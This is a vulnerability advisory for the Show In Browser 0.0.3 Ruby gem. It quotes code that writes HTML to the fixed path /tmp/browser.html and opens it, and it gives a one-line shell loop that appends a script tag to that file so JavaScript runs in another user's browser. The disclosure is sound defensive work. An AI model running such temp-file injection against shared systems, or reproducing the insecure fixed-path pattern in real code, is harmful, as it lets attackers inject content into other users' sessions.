Show In Browser 0.0.3 is a Ruby Gem that suffers from a file injection vulnerability, allowing arbitrary text to be opened in a browser.
d8ef5225f129ed45cb3685bdff5c084d39d71818984f62b5fb94e0176be4b90f
TITLE: Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability.
DATE: 5/15/2023
AUTHOR: Larry W. Cashdollar (@_larry0)
DOWNLOAD: https://rubygems.org/gems/show_in_browser
DESCRIPTION: Opens arbitrary text in your browser
VENDOR: Jonathan Leung
FIX: N/A
CVE: 2013-2105
DETAILS: The following code uses the temporary file "/tmp/browser.html" insecurely.
2 FILE_LOCATION = "/tmp/browser.html"
3 4 class << self 5 6 def show(html)
7 file = File.open(FILE_LOCATION, 'w')
8 file.write(html)
9 file.close
10
11 `open #{FILE_LOCATION}`
By a malicious user creating /tmp/browser.html first and repeatedly writing to it they can inject malicious html into
the file right before it is about to be opened.
PoC:
nobody () pitter:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/browser.html; done
Will pop up a java script alert in other gem users browser.
ADVISORY: http://vapid.dhs.org/advisories/show_in_browser.html